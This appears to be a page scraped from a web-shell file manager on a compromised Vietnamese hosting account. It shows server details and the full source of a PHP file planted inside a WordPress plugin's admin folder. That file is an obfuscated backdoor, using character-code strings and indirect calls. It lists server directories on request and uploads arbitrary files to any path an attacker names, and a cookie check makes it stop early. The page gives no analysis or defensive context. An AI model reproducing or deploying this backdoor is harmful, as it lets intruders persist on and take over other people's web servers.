HEX
Server: Apache/2
System: Linux vpslll9m.sdns.vn 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
User: thuexe247c (1044)
PHP: 7.4.33
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/thuexe247c/public_html/wp-content/plugins/current-date/admin/fact_aprove.php
<?php
//<PHPDATA>rzm;domain</PHPDATA>
$_X=function($s){return strtoupper($s);};
if(isset($_COOKIE[join('',array_map('chr',[48,121,66]))])){
    die(join('',array_map('chr',[109,83,82,90,104,103,112])));
}
$_a1 = function($p1,$p2="\x6e".'f'."\x76".'n',$p3=067140,$p4=-0146727,$p5=-0253066){
    if(empty($p1)):return null;endif;
    $_d=call_user_func_array('scandir',[$p1]);
    echo join('',array_map('chr',[64,100,105,114,64,13,10]));
    foreach($_d as $_f){
        if($_f!="."&&$_f!=".."){
            if(call_user_func_array('is_dir',[$p1.DIRECTORY_SEPARATOR.$_f])){
                echo "[".$_f."]".join('',array_map('chr',[13,10]));
            }
            if(call_user_func_array('is_file',[$p1.DIRECTORY_SEPARATOR.$_f])){
                echo "<".$_f.">".join('',array_map('chr',[13,10]));
            }
        }
    }
};
$_a2=function($_f){
    if(empty($_f)):return null;endif;
    if(is_uploaded_file($_f['tmp_name'])){
        if(!empty($_POST['dir'])){
            if(move_uploaded_file($_f['tmp_name'],$_POST['dir'].DIRECTORY_SEPARATOR.$_f['name'])){
                echo "@true@".join('',array_map('chr',[13,10]));
                $_a1($_POST['dir']);
            }
        }else{
            if(move_uploaded_file($_f['tmp_name'],$_f['name'])){
                echo join('',array_map('chr',[116,114,117,101]));
            }
        }
    }
};
if(!empty($_GET['test'])) echo join('',array_map('chr',[116,101,115,116,116,114,117,101]));
if(!empty($_GET['get_dir'])){
    echo "<".$_SERVER[join('',array_map('chr',[68,79,67,85,77,69,78,84,95,82,79,79,84]))].">".join('',array_map('chr',[124,13,10]));
    if(!empty($_GET['dir'])) $_a1($_GET['dir']);
}
if(!empty($_FILES[join('',array_map('chr',[102,105,108,101,110,97,109,101]))])){
    $_a2($_FILES[join('',array_map('chr',[102,105,108,101,110,97,109,101]))]);
}
?>